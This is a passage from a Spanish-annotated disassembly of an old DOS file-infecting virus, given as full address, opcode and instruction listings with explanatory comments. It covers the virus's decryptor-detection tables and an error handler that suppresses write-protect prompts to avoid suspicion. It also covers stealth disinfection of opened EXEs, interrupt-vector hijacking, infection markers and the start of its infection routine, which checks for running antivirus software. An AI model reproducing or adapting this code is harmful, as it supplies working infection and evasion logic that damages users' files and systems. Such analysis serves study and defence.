BH ∩0DA6:0FB2 0F DB 0F Ω; ... [BX], CL ∩0DA6:0FB3 2F DB 2F Ω; ... [BX], CH ∩0DA6:0FB4 17 DB 17 Ω; ... [BX], DL ∩0DA6:0FB5 37 DB 37 Ω; ... [BX], DH ∩0DA6:0FB6 05 DB 05 Ω; ... [DI], AL ∩0DA6:0FB7 25 DB 25 Ω; ... [DI], AH ∩0DA6:0FB8 1D DB 1D Ω; ... [DI], BL ∩0DA6:0FB9 3D DB 3D Ω; ... [DI], BH ∩0DA6:0FBA 0D DB 0D Ω; ... [DI], CL ∩0DA6:0FBB 2D DB 2D Ω; ... [DI], CH ∩0DA6:0FBC 15 DB 15 Ω; ... [DI], DL ∩0DA6:0FBD 35 DB 35 Ω; ... [DI], DH ∩0DA6:0FBE 04 DB 04 Ω; ... [SI], AL ∩0DA6:0FBF 24 DB 24 Ω; ... [SI], AH ∩0DA6:0FC0 1C DB 1C Ω; ... [SI], BL ∩0DA6:0FC1 3C DB 3C Ω; ... [SI], BH ∩0DA6:0FC2 0C DB 0C Ω; ... [SI], CL ∩0DA6:0FC3 2C DB 2C Ω; ... [SI], CH ∩0DA6:0FC4 14 DB 14 Ω; ... [SI], DL ∩0DA6:0FC5 34 DB 34 Ω; ... [SI], DH ∩0DA6:0FC6 75 DB 75 Ω; JNZ ** ∩0DA6:0FC7 79 DB 79 Ω; JNS ** ∩0DA6:0FC8 7F DB 7F Ω; JG ** ∩0DA6:0FC9 7D DB 7D Ω; JGE ** ∩0DA6:0FCA 77 DB 77 Ω; JA ** ∩0DA6:0FCB 73 DB 73 Ω; JNB ** ∩0DA6:0FCC 72 DB 72 Ω; JB ** ∩0DA6:0FCD 76 DB 76 Ω; JBE ** ∩0DA6:0FCE 3E DB 3E Ω; DS: ∩0DA6:0FCF 2E DB 2E Ω; CS: ∩0DA6:0FD0 26 DB 26 Ω; ES: ∩0DA6:0FD1 36 DB 36 Ω; SS: ∩0DA6:0FD2 30 DB 30 Ω; Instrucción XOR ... ∩0DA6:0FD3 00 DB 00 Ω; Instrucción ADD ... ∩0DA6:0FD4 28 DB 28 Ω; Instrucción SUB ... ∩0DA6:0FD5 30 DB 30 Ω; Instrucción XOR ... Ω; FEh + XX= 80h + XX= ∩0DA6:0FD6 C0 DB C0 Ω; INC AL ADD AL, ** ∩0DA6:0FD7 C4 DB C4 Ω; INC AH ADD AH, ** ∩0DA6:0FD8 C3 DB C3 Ω; INC BL ADD BL, ** ∩0DA6:0FD9 C7 DB C7 Ω; INC BH ADD BH, ** ∩0DA6:0FDA C1 DB C1 Ω; INC CL ADD CL, ** ∩0DA6:0FDB C5 DB C5 Ω; INC CH ADD CH, ** ∩0DA6:0FDC C2 DB C2 Ω; INC DL ADD DL, ** ∩0DA6:0FDD C6 DB C6 Ω; INC DH ADD DH, ** Ω; 80h + XX= ∩0DA6:0FDE E8 DB E8 Ω; SUB AL, ** ∩0DA6:0FDF EC DB EC Ω; SUB AH, ** ∩0DA6:0FE0 EB DB EB Ω; SUB BL, ** ∩0DA6:0FE1 EF DB EF Ω; SUB BH, ** ∩0DA6:0FE2 E9 DB E9 Ω; SUB CL, ** ∩0DA6:0FE3 ED DB ED Ω; SUB CH, ** ∩0DA6:0FE4 EA DB EA Ω; SUB DL, ** ∩0DA6:0FE5 EE DB EE Ω; SUB DH, ** ∩0DA6:0FE6 75 DB 75 Ω; JNZ ** ∩0DA6:0FE7 78 DB 78 Ω; JS ** ∩0DA6:0FE8 7C DB 7C Ω; JL ** ∩0DA6:0FE9 7E DB 7E Ω; JLE ** ∩0DA6:0FEA 16 DB 16,1F Ω; PUSH SS/POP DS ∩0DA6:0FEC 50 DB 50,1F Ω; PUSH AX/POP DS ∩0DA6:0FEE 8ED8 DB 8E,D8 Ω; MOV DS,AX ∩0DA6:0FF0 16 DB 16,07 Ω; PUSH SS/POP ES ∩0DA6:0FF2 50 DB 50,07 Ω; PUSH AX/POP ES ∩0DA6:0FF4 8EC0 DB 8E,C0 Ω; MOV ES,AX Ω; Junto con el valor 33h, forman: ∩0DA6:0FF6 C0 DB C0 Ω; 33C0 = XOR AX,AX ∩0DA6:0FF7 C9 DB C9 Ω; 33C9 = XOR CX,CX ∩0DA6:0FF8 D2DB RCR BL,CL ∩0DA6:0FFA 1703 DB 17,03 Ω; Aquí guarda el puntero a la int 24h ∩0DA6:0FFC FA15 DB FA,15 ∩0DA6:0FFE 9F01 DB 9F,01 Ω; Aquí guarda el puntero a la int 1Bh ∩0DA6:1000 A604 DB A6,04 ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;; Nueva interrupción 24h ;; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;; Tratamiento de errores. Esto permite que si ha habido un error de escritura ε;; por fallo de hardware o porque el disco esta protegido contra escritura, no ε;; nos haga la pregunta típica de: ε;; ... ¿Anular, Reintentar, Ignorar? ... ε;; Devolviendo el valor 3 en AL si la int 24h ha sido invocada se hará creer ε;; al DOS que se le ha dicho "Ignorar". Si no se hiciera esto, quedaría muy ε;; sospechoso que al copiar un COM desde A: a C:, por ejemplo, y teniendo A: ε;; protegido contra escritura, nos saliera un mensaje diciendo: ε;; ε;; Error de protección contra escritura escribe en unidad A: ε;; ¿Anular, Repetir, Descartar? ε;; ε;; Hacer lo que hace el virus evita esto. ∩0DA6:1002 B003 MOV AL,03 Ω; Pone en AL que el usuario ha indicado Ω; que el error se ignora ∩0DA6:1004 CF IRET Ω; Retorno de interrupción ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;;; Función para ver si el archivo que se intenta abrir por handle está in- ; ε;;;; fectado, y en ese caso desinfectarlo. Forma parte de su función stealth.; ε;;;; Por cierto, sólo desinfecta EXEs. Si un COM es infectado y luego abierto; ε;;;; por otro programa, éste aparecerá infectado. La verdad es que desinfec- ; ε;;;; tar un COM es más fácil que desinfectar el EXE, y no sé por qué no ha ; ε;;;; implementado la rutina correspondiente. ; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ∩0DA6:1005 50 PUSH AX Ω; Guarda todos los registros en el stack ∩0DA6:1006 53 PUSH BX ∩0DA6:1007 51 PUSH CX ∩0DA6:1008 52 PUSH DX ∩0DA6:1009 06 PUSH ES ∩0DA6:100A 1E PUSH DS ∩0DA6:100B 57 PUSH DI ∩0DA6:100C 56 PUSH SI ∩0DA6:100D E8BA01 CALL 11CA Ω; Parchea las interrupciones 24h y 1Bh ∩0DA6:1010 E878F6 CALL 068B Ω; Cambia los atributos del archivo, Ω; guardando los anteriores ∩0DA6:1013 B8023D MOV AX,3D02 Ω; Abre el archivo para lectura y es- ∩0DA6:1016 E8ACF2 CALL 02C5 Ω; critura ∩0DA6:1019 7251 JB 106C Ω; Si hay error, salta y acaba ∩0DA6:101B 50 PUSH AX Ω; Guarda en AX el handle ∩0DA6:101C E8DFF6 CALL 06FE Ω; Mira si es un archivo especial, y Ω; si lo es, pone a 1 ciertos bits en Ω; [018C] ∩0DA6:101F 83C304 ADD BX,+04 Ω; Suma 4 a BX, que tiene la longitud Ω; del nombre del archivo ∩0DA6:1022 8BCB MOV CX,BX Ω; Lo pone en CX ∩0DA6:1024 5B POP BX Ω; Saca en BX el handle ∩0DA6:1025 83F90E CMP CX,+0E Ω; Comprueba si CX es 14 ∩0DA6:1028 743D JZ 1067 Ω; Si es, salta y acaba ∩0DA6:102A 0E PUSH CS Ω; DS = CS ∩0DA6:102B 1F POP DS ∩0DA6:102C FC CLD Ω; Hacia delante (DF a 0) ∩0DA6:102D BF3B07 MOV DI,073B Ω; Compara el nombre del archivo que ∩0DA6:1030 BE4807 MOV SI,0748 Ω; ha guardado ahora en :0748 al que ∩0DA6:1033 F3 REPZ Ω; guardó ahí en la última infección ∩0DA6:1034 A6 CMPSB ∩0DA6:1035 E302 JCXZ 1039 Ω; Si no coinciden, continúa ∩0DA6:1037 EB2E JMP 1067 Ω; Salta y acaba ∩0DA6:1039 B91C00 MOV CX,001C Ω; Lee 28 bytes del principio del ar- Ω; chivo ∩0DA6:103C BA6A1E MOV DX,1E6A Ω; Guarda estos 28 bytes en :1E6A ∩0DA6:103F B43F MOV AH,3F Ω; Función de lectura ∩0DA6:1041 E881F2 CALL 02C5 Ω; Int 21h ∩0DA6:1044 7221 JB 1067 Ω; Si hay error, salta y acaba ∩0DA6:1046 E820F6 CALL 0669 Ω; Lee la hora y la fecha y las guarda ∩0DA6:1049 A17E01 MOV AX,[017E] Ω; Coge en AL los segundos ∩0DA6:104C 241F AND AL,1F ∩0DA6:104E 3C11 CMP AL,11 Ω; Mira si son 34 ∩0DA6:1050 7512 JNZ 1064 Ω; Si no son, acaba ∩0DA6:1052 A16A1E MOV AX,[1E6A] Ω; ∩0DA6:1055 3D4D5A CMP AX,5A4D Ω; Mira si es EXE comprobando si los Ω; dos primeros bytes del archivo son Ω; 'MZ' ∩0DA6:1058 7405 JZ 105F Ω; Si son, salta a :105F ∩0DA6:105A 3D5A4D CMP AX,4D5A Ω; Mira si son 'ZM' ∩0DA6:105D 7505 JNZ 1064 Ω; Si no son, salta a :1064 Ω; Aquí llega si el archivo es un EXE ∩0DA6:105F E81900 CALL 107B Ω; Rutina para desinfectar el EXE ∩0DA6:1062 7203 JB 1067 Ω; Si hay error (CF) salta ∩0DA6:1064 E813F6 CALL 067A Ω; Recupera la hora y fecha original ∩0DA6:1067 B43E MOV AH,3E Ω; Cierra el handle ∩0DA6:1069 E859F2 CALL 02C5 ∩0DA6:106C E830F6 CALL 069F Ω; Pone los atributos del archivo como Ω; estaban ∩0DA6:106F E89701 CALL 1209 Ω; "Desparchea" las ints 24h y 1Bh ∩0DA6:1072 5E POP SI Ω; Saca todos los registros del stack ∩0DA6:1073 5F POP DI ∩0DA6:1074 1F POP DS ∩0DA6:1075 07 POP ES ∩0DA6:1076 5A POP DX ∩0DA6:1077 59 POP CX ∩0DA6:1078 5B POP BX ∩0DA6:1079 58 POP AX ∩0DA6:107A C3 RET Ω; Retorna ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;;;; Rutina de desinfección de EXEs ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ∩0DA6:107B A1801E MOV AX,[1E80] Ω; Coge el valor en la posición Ω; +16h de la cabecera del EXE Ω; (representa el CS inicial) ∩0DA6:107E BA1000 MOV DX,0010 Ω; Lo multiplica por 16 ∩0DA6:1081 F7E2 MUL DX ∩0DA6:1083 03067E1E ADD AX,[1E7E] Ω; Le suma al double-word AX-DX ∩0DA6:1087 83D200 ADC DX,+00 Ω; el valor en +14h (el IP ini- Ω; cial) ∩0DA6:108A 8B0E721E MOV CX,[1E72] Ω; Coge en CX el tamaño de la Ω; cabecera ∩0DA6:108E D1E1 SHL CX,1 Ω; Lo multiplica por 16 ∩0DA6:1090 D1E1 SHL CX,1 ∩0DA6:1092 D1E1 SHL CX,1 ∩0DA6:1094 D1E1 SHL CX,1 ∩0DA6:1096 03C1 ADD AX,CX Ω; Suma el valor obtenido al va- ∩0DA6:1098 83D200 ADC DX,+00 Ω; lor en DX-AX ∩0DA6:109B 8BCA MOV CX,DX Ω; Pone en CX el Hi-Word ∩0DA6:109D 8BD0 MOV DX,AX Ω; Pone en DX el Lo-Word ∩0DA6:109F B80042 MOV AX,4200 Ω; Pone el puntero del archivo ∩0DA6:10A2 E820F2 CALL 02C5 Ω; justo donde se supone que em- Ω; pieza el desencriptador del Ω; virus (todas estas operacio- Ω; nes anteriores eran para sa- Ω; car la dirección absoluta en Ω; el archivo del sitio donde Ω; está el virus) ∩0DA6:10A5 7301 JNB 10A8 Ω; Si no hay Carry Flag, conti- Ω; núa en :10A8 ∩0DA6:10A7 C3 RET Ω; Si hay, retorna ∩0DA6:10A8 2D6A1E SUB AX,1E6A Ω; Resta a la situación que le ∩0DA6:10AB 83DA00 SBB DX,+00 Ω; ha dado en DX-AX el tamaño Ω; del virus para tener en DX- Ω; AX exactamente el tamaño del Ω; archivo sin virus ∩0DA6:10AE 50 PUSH AX Ω; Guarda AX y DX en el stack ∩0DA6:10AF 52 PUSH DX ∩0DA6:10B0 B43F MOV AH,3F Ω; Función de lectura ∩0DA6:10B2 B98000 MOV CX,0080 Ω; CX = 128 ∩0DA6:10B5 BA881E MOV DX,1E88 Ω; DX = Buffer de lectura propio ∩0DA6:10B8 E80AF2 CALL 02C5 Ω; Lee 128 bytes desde la posi- Ω; ción de archivo que se en- Ω; cuentra ahora ∩0DA6:10BB 730A JNB 10C7 Ω; Si no hay Carry Flag, salta ∩0DA6:10BD 3D2400 CMP AX,0024 Ω; Comprueba ha leído más de 36 Ω; bytes ∩0DA6:10C0 7705 JA 10C7 Ω; Si ha leído más, continúa ∩0DA6:10C2 83C404 ADD SP,+04 Ω; Quita del stack DX y AX, que Ω; ha guardado antes ∩0DA6:10C5 F9 STC Ω; Carry Flag a 1 ∩0DA6:10C6 C3 RET Ω; Retorna Ω; Aquí si ha podido leer 128 by- Ω; tes desde la posición de ini- Ω; cio del desencriptador, y si Ω; no ha podido leer esa canti- Ω; dad, al menos si ha leido más Ω; de 36 bytes ∩0DA6:10C7 53 PUSH BX Ω; Guarda BX en el stack ∩0DA6:10C8 8BF8 MOV DI,AX Ω; DI = Número de bytes que ha Ω; leído ∩0DA6:10CA 03FA ADD DI,DX Ω; Le suma la dirección donde Ω; ha guardado lo leído ∩0DA6:10CC B93200 MOV CX,0032 Ω; CX = 50 ∩0DA6:10CF FD STD Ω; Hacia atrás ∩0DA6:10D0 B02E MOV AL,2E Ω; Busca de atrás hacia delante ∩0DA6:10D2 F2 REPNZ Ω; y durante 50 bytes el valor ∩0DA6:10D3 AE SCASB Ω; 2Eh ∩0DA6:10D4 0BC9 OR CX,CX Ω; Mira si ha buscado en los 50 Ω; bytes sin encontrarlo ∩0DA6:10D6 7506 JNZ 10DE Ω; Si CX no es 0, y por tanto ha Ω; encontrado un valor 2Eh (op- Ω; code de 'CS:'), salta y con- Ω; tinúa ∩0DA6:10D8 5B POP BX Ω; Saca BX ∩0DA6:10D9 83C404 ADD SP,+04 Ω; Nivela el stack (por cierto, Ω; hubiera ocupado 1 byte menos Ω; hacer, por ejemplo, POP AX/ Ω; POP AX) ∩0DA6:10DC F9 STC Ω; Carry Flag a 1 ∩0DA6:10DD C3 RET Ω; Retorna Ω; Aquí desde :10DE ∩0DA6:10DE 8A6502 MOV AH,[DI+02] Ω; Coge en AH el byte siguiente Ω; a 'CS:' ∩0DA6:10E1 33DB XOR BX,BX Ω; BX = 0 ∩0DA6:10E3 38A7D20F CMP [BX+0FD2],AH Ω; Comprueba si es el valor en Ω; la tabla de opcodes en :0FD2 Ω; (o sea, un opcode de XOR, ADD Ω; o SUB) ∩0DA6:10E7 740E JZ 10F7 Ω; Si es, continúa ∩0DA6:10E9 43 INC BX Ω; Incrementa BX ∩0DA6:10EA 83FB04 CMP BX,+04 Ω; Comprueba si BX es 4 ∩0DA6:10ED 7702 JA 10F1 Ω; Si es mayor, salta y acaba ∩0DA6:10EF EBF2 JMP 10E3 Ω; Salta a :10E3 y hace LOOP Ω; (¡y esa optimización en sal- Ω; tos...! Si en vez de hacer Ω; esto, hubiera hecho en :10ED Ω; lo siguiente: Ω; JBE 10E3 Ω; JMP 10D8 Ω; se hubiera ahorrado 6 bytes). ∩0DA6:10F1 5B POP BX Ω; Lo mismo que en :10D8 ∩0DA6:10F2 83C404 ADD SP,+04 ∩0DA6:10F5 F9 STC ∩0DA6:10F6 C3 RET Ω; Aquí desde :10E7 si coincide Ω; el opcode ∩0DA6:10F7 8A4503 MOV AL,[DI+03] Ω; Coge en AL el siguiente byte ∩0DA6:10FA 33DB XOR BX,BX Ω; BX = 0 ∩0DA6:10FC 3A87AE0F CMP AL,[BX+0FAE] Ω; Ahora comprueba si el byte Ω; que sigue es un opcode de la Ω; tabla en :0FAE ∩0DA6:1100 740E JZ 1110 Ω; Si es, salta y continúa ∩0DA6:1102 43 INC BX Ω; Incrementa BX ∩0DA6:1103 83FB19 CMP BX,+19 Ω; Comprueba si BX es 25 ∩0DA6:1106 7702 JA 110A Ω; Si es mayor, salta y acaba ∩0DA6:1108 EBF2 JMP 10FC Ω; Hace LOOP ∩0DA6:110A 5B POP BX Ω; En estos trozos repetidos, ∩0DA6:110B 83C404 ADD SP,+04 Ω; el autor se habría ahorrado ∩0DA6:110E F9 STC Ω; cantidad de bytes ∩0DA6:110F C3 RET Ω; Aquí si algún opcode de :0FAE Ω; coincide ∩0DA6:1110 80E307 AND BL,07 Ω; Coge en BL el número de re- Ω; gistro que usa para encriptar ∩0DA6:1113 8A87A60F MOV AL,[BX+0FA6] Ω; Coge ese registro de :0FA6 Ω; (que son opcodes de MOV) y Ω; pone en AL el opcode de MOV Ω; Reg, ** (según el registro Ω; que haya usado en la instruc- Ω; ción anterior) ∩0DA6:1117 B93200 MOV CX,0032 Ω; CX = 50 ∩0DA6:111A F2 REPNZ Ω; Busca en esos 50 bytes el ∩0DA6:111B AE SCASB Ω; MOV Reg,** ∩0DA6:111C 0BC9 OR CX,CX Ω; Si CX no es 0 es que lo ha Ω; encontrado, y entonces... ∩0DA6:111E 7506 JNZ 1126 Ω; ...salta a :1126 ∩0DA6:1120 5B POP BX Ω; ¡Y dale con lo mismo! ∩0DA6:1121 83C404 ADD SP,+04 ∩0DA6:1124 F9 STC ∩0DA6:1125 C3 RET Ω; Aquí si ha encontrado la ins- Ω; trucción de MOV ∩0DA6:1126 8A4502 MOV AL,[DI+02] Ω; Coge en AL el valor de crip- Ω; tado ∩0DA6:1129 FC CLD Ω; Ahora hacia delante ∩0DA6:112A 5B POP BX Ω; Saca BX ∩0DA6:112B 59 POP CX Ω; Saca la dirección de inicio ∩0DA6:112C 5A POP DX Ω; del virus que guardó como DX Ω; y AX, en CX y DX (respectiva- Ω; mente) ∩0DA6:112D 52 PUSH DX Ω; Guarda estos valores de nuevo ∩0DA6:112E 51 PUSH CX ∩0DA6:112F 50 PUSH AX Ω; Guarda el valor de criptado ∩0DA6:1130 B80042 MOV AX,4200 Ω; Función Ptr-Seek, o movimien- Ω; to del puntero de archivo en Ω; funciones "Handle" ∩0DA6:1133 81C26B01 ADD DX,016B Ω; Le suma a DX el valor 016B Ω; para sacar donde tiene la ca- Ω; becera guardada ∩0DA6:1137 83D100 ADC CX,+00 Ω; Suma 1 a CX si hay rebose ∩0DA6:113A E888F1 CALL 02C5 Ω; Int 21h ∩0DA6:113D B90F00 MOV CX,000F Ω; Lee 15 bytes y los mete en ∩0DA6:1140 BA881E MOV DX,1E88 Ω; :1E88 ∩0DA6:1143 B43F MOV AH,3F ∩0DA6:1145 E87DF1 CALL 02C5 Ω; Int 21h ∩0DA6:1148 58 POP AX Ω; Saca AX ∩0DA6:1149 88265411 MOV [1154],AH Ω; Pone en [1154] el valor de Ω; AH, que era el opcode de la Ω; operación de desencriptado Ω; (XOR, ADD o SUB) ∩0DA6:114D EB00 JMP 114F Ω; Salto nulo para borrar la Ω; "Prefetch-Queue" o cola del Ω; procesador, que son las ins- Ω; trucciones que lee mientras Ω; se ejecutan otras. Si no hi- Ω; ciera esto, podría pasar que Ω; hubiera leído la instrucción Ω; en :1154 antes de que fuera Ω; modificada. ∩0DA6:114F 8BFA MOV DI,DX Ω; En DI la dirección de los da- Ω; tos de la cabecera criptada ∩0DA6:1151 B90F00 MOV CX,000F Ω; CX = 15 ∩0DA6:1154 2805 SUB [DI],AL Ω; Efectúa la operación de de- Ω; sencriptado ∩0DA6:1156 F615 NOT BYTE PTR [DI] Ω; Vuelve a desencriptar (esto Ω; es lo del segundo desencrip- Ω; tador) ∩0DA6:1158 47 INC DI Ω; Incrementa DI ∩0DA6:1159 E2F9 LOOP 1154 Ω; Lo hace 15 veces ∩0DA6:115B 8BFA MOV DI,DX Ω; Vuelve a meter en DI la di- Ω; rección :1E88 ∩0DA6:115D 8B05 MOV AX,[DI] Ω; Coge en AX el IP inicial del Ω; EXE ∩0DA6:115F A37E1E MOV [1E7E],AX Ω; Lo mete en la posición +14h Ω; de la cabecera leída ∩0DA6:1162 8B4502 MOV AX,[DI+02] Ω; Lee el CS inicial ∩0DA6:1165 A3801E MOV [1E80],AX Ω; Lo mete en la posición +16h ∩0DA6:1168 8B4504 MOV AX,[DI+04] Ω; Lee el SP inicial ∩0DA6:116B A37A1E MOV [1E7A],AX Ω; Lo pone en la posición +10h ∩0DA6:116E 8B4506 MOV AX,[DI+06] Ω; Lee el SS inicial ∩0DA6:1171 A3781E MOV [1E78],AX Ω; Lo pone en la posición +0Eh ∩0DA6:1174 8B4508 MOV AX,[DI+08] Ω; Coge el resto de dividir el Ω; tamaño del archivo entre 512 ∩0DA6:1177 A36C1E MOV [1E6C],AX Ω; Lo pone en la posición +02h ∩0DA6:117A 8B450A MOV AX,[DI+0A] Ω; Coge el cociente de esa divi- Ω; sión ∩0DA6:117D A36E1E MOV [1E6E],AX Ω; Lo pone en +04h ∩0DA6:1180 8B450C MOV AX,[DI+0C] Ω; Coge la hora original del ar- Ω; chivo ∩0DA6:1183 A37E01 MOV [017E],AX Ω; La pone sustituyendo la hora Ω; que ha sacado antes ∩0DA6:1186 8A450E MOV AL,[DI+0E] Ω; Obtiene el byte que identifi- Ω; ca el archivo como COM o EXE ∩0DA6:1189 3C01 CMP AL,01 Ω; Mira si es un EXE ∩0DA6:118B 7405 JZ 1192 Ω; Si es, continúa y no ha habi- Ω; do error en la desencripta- Ω; ción ∩0DA6:118D 83C404 ADD SP,+04 Ω; Nivela stack, pone CF y re- ∩0DA6:1190 F9 STC Ω; torna ∩0DA6:1191 C3 RET Ω; Aquí desde :118B ∩0DA6:1192 59 POP CX Ω; Recupera CX y DX ∩0DA6:1193 5A POP DX ∩0DA6:1194 52 PUSH DX ∩0DA6:1195 51 PUSH CX ∩0DA6:1196 81E2FF01 AND DX,01FF Ω; Convierte DX en un número Ω; entre 0 y 511, que ha de Ω; coincidir con el resto que Ω; hay en [1E6C] ∩0DA6:119A 39166C1E CMP [1E6C],DX Ω; Lo compara ∩0DA6:119E 7405 JZ 11A5 Ω; Si es igual, salta y continúa ∩0DA6:11A0 83C404 ADD SP,+04 Ω; Acaba con CF si no es igual ∩0DA6:11A3 F9 STC ∩0DA6:11A4 C3 RET ∩0DA6:11A5 33C9 XOR CX,CX Ω; CX = DX = 0 ∩0DA6:11A7 8BD1 MOV DX,CX ∩0DA6:11A9 B80042 MOV AX,4200 Ω; Pone el puntero del archivo ∩0DA6:11AC E816F1 CALL 02C5 Ω; al principio de éste ∩0DA6:11AF BA6A1E MOV DX,1E6A Ω; Escribe la cabecera original ∩0DA6:11B2 B91C00 MOV CX,001C Ω; que acaba de reconstruir ∩0DA6:11B5 B440 MOV AH,40 ∩0DA6:11B7 E80BF1 CALL 02C5 ∩0DA6:11BA 59 POP CX Ω; Saca CX y DX, que es el tama- ∩0DA6:11BB 5A POP DX Ω; ño del archivo sin virus ∩0DA6:11BC B80042 MOV AX,4200 Ω; Coloca ahí el puntero ∩0DA6:11BF E803F1 CALL 02C5 Ω; Int 21h ∩0DA6:11C2 B440 MOV AH,40 Ω; Trunca el tamaño del archivo ∩0DA6:11C4 33C9 XOR CX,CX Ω; (escribiendo 0 bytes, el ar- ∩0DA6:11C6 E8FCF0 CALL 02C5 Ω; chivo cambia el tamaño hasta Ω; donde se encuentra el puntero Ω; de archivo) ∩0DA6:11C9 C3 RET Ω; Retorna (con o sin CF, según Ω; si ha habido ahora error o Ω; no). ε;;;; Rutina para parchear las interrupciones 24h y 1Bh y redireccionarlas a ε;;;; las rutinas propias del virus ∩0DA6:11CA 06 PUSH ES Ω; Guarda ES ∩0DA6:11CB 33C0 XOR AX,AX Ω; ES = 0 ∩0DA6:11CD 8EC0 MOV ES,AX ∩0DA6:11CF 26 ES: Ω; Guarda el puntero a la int 24h ∩0DA6:11D0 A19000 MOV AX,[0090] Ω; en [0FFA] ∩0DA6:11D3 2E CS: ∩0DA6:11D4 A3FA0F MOV [0FFA],AX ∩0DA6:11D7 26 ES: ∩0DA6:11D8 A19200 MOV AX,[0092] ∩0DA6:11DB 2E CS: ∩0DA6:11DC A3FC0F MOV [0FFC],AX ∩0DA6:11DF 26 ES: Ω; Ahora el puntero a la int 1Bh, ∩0DA6:11E0 A16C00 MOV AX,[006C] Ω; que es una interrupción que es ∩0DA6:11E3 2E CS: Ω; llamada automáticamente si es ∩0DA6:11E4 A3FE0F MOV [0FFE],AX Ω; pulsado Ctrl-Break. Lo guarda ∩0DA6:11E7 26 ES: Ω; en [0FFE] ∩0DA6:11E8 A16E00 MOV AX,[006E] ∩0DA6:11EB 2E CS: ∩0DA6:11EC A30010 MOV [1000],AX ∩0DA6:11EF 26 ES: ∩0DA6:11F0 8C0E9200 MOV [0092],CS Ω; Redirecciona la int 24h a una ∩0DA6:11F4 26 ES: Ω; rutina propia que comienza en ∩0DA6:11F5 C70690000210 MOV WORD PTR [0090],1002 Ω; CS:1002 ∩0DA6:11FB 26 ES: Ω; La rutina de la int 1Bh tam- ∩0DA6:11FC 8C0E6E00 MOV [006E],CS Ω; bién la redirecciona, pero al ∩0DA6:1200 26 ES: Ω; IRET en la misma rutina que la ∩0DA6:1201 C7066C000410 MOV WORD PTR [006C],1004 Ω; int 24h ∩0DA6:1207 07 POP ES Ω; Saca ES ∩0DA6:1208 C3 RET Ω; Retorna ε;;;;; Rutina para volver a poner los punteros originales de la int 24h e int ε;;;;; 1Bh ∩0DA6:1209 1E PUSH DS Ω; Guarda DS, ES y SI ∩0DA6:120A 06 PUSH ES ∩0DA6:120B 56 PUSH SI ∩0DA6:120C 33C0 XOR AX,AX Ω; AX = 0 ∩0DA6:120E FC CLD Ω; DF = 0 ∩0DA6:120F 0E PUSH CS Ω; CS = DS ∩0DA6:1210 1F POP DS ∩0DA6:1211 8EC0 MOV ES,AX Ω; ES = 0 ∩0DA6:1213 BEFA0F MOV SI,0FFA Ω; En SI la dirección donde guarda la Ω; int 24h ∩0DA6:1216 BF9000 MOV DI,0090 Ω; En DI la dirección en la TVI donde Ω; va la int 24h ∩0DA6:1219 A5 MOVSW Ω; Copia el puntero ∩0DA6:121A A5 MOVSW ∩0DA6:121B BF6C00 MOV DI,006C Ω; En DI ahora la dirección de la int Ω; 1Bh ∩0DA6:121E A5 MOVSW Ω; Copia el puntero ∩0DA6:121F A5 MOVSW ∩0DA6:1220 5E POP SI Ω; Saca del stack los registros afecta- ∩0DA6:1221 07 POP ES Ω; dos ∩0DA6:1222 1F POP DS ∩0DA6:1223 C3 RET Ω; Retorna ε;;; Rutina para poner la marca de infección del EXE y poner el nuevo SP que ε;;; tendrá el EXE al empezar ∩0DA6:1224 E813F7 CALL 093A Ω; Obtiene en AX un aleatorio ∩0DA6:1227 250300 AND AX,0003 Ω; Lo reduce a un número entre Ω; 0 y 3 ∩0DA6:122A 74F8 JZ 1224 Ω; Si es 0, salta y repite el Ω; proceso ∩0DA6:122C 0306801E ADD AX,[1E80] Ω; Le suma a AX el valor en Ω; [1E80], que es el valor de Ω; IP inicial del EXE ∩0DA6:1230 A3781E MOV [1E78],AX Ω; Lo pone en la posición +08h Ω; de la cabecera (tamaño en pá- Ω; rrafos) ∩0DA6:1233 E804F7 CALL 093A Ω; Obtiene un aleatorio en AX ∩0DA6:1236 250700 AND AX,0007 Ω; Reduce AX a un número entre Ω; 0 y 7 ∩0DA6:1239 057A1F ADD AX,1F7A Ω; Suma a AX 1F7Ah (tamaño del Ω; virus + 110h bytes) ∩0DA6:123C 24FE AND AL,FE Ω; Lo hace par ∩0DA6:123E A37A1E MOV [1E7A],AX Ω; Lo mete en la zona de SP de Ω; la cabecera (+10h) ∩0DA6:1241 C3 RET Ω; Retorna ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;;; RUTINA DE INFECCION DE HANDLES ;;;;;; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ∩0DA6:1242 53 PUSH BX Ω; Guarda registros en el stack ∩0DA6:1243 51 PUSH CX ∩0DA6:1244 52 PUSH DX ∩0DA6:1245 06 PUSH ES ∩0DA6:1246 1E PUSH DS ∩0DA6:1247 57 PUSH DI ∩0DA6:1248 56 PUSH SI ∩0DA6:1249 9C PUSHF Ω; Guarda banderas ∩0DA6:124A 50 PUSH AX Ω; Guarda AX en último lugar ∩0DA6:124B E87CFF CALL 11CA Ω; Parchea las interrupciones Ω; 24h y 1Bh ∩0DA6:124E 2E CS: Ω; Comprueba si se está ejecu- ∩0DA6:124F F6068C0101 TEST BYTE PTR [018C],01 Ω; tando algún antivirus mi- Ω; rando si está a 1 el bit 1 Ω; en [018C] ∩0DA6:1254 755A JNZ 12B0 Ω; Si está a 1, salta y acaba ∩0DA6:1256 E810F4 CALL 0669 Ω; Obtiene hora y fecha y la Ω; guarda. ∩0DA6:1259 2E CS: Ω; Obtiene los segundos del ar- ∩0DA6:125A A17E01 MOV AX,[017E] 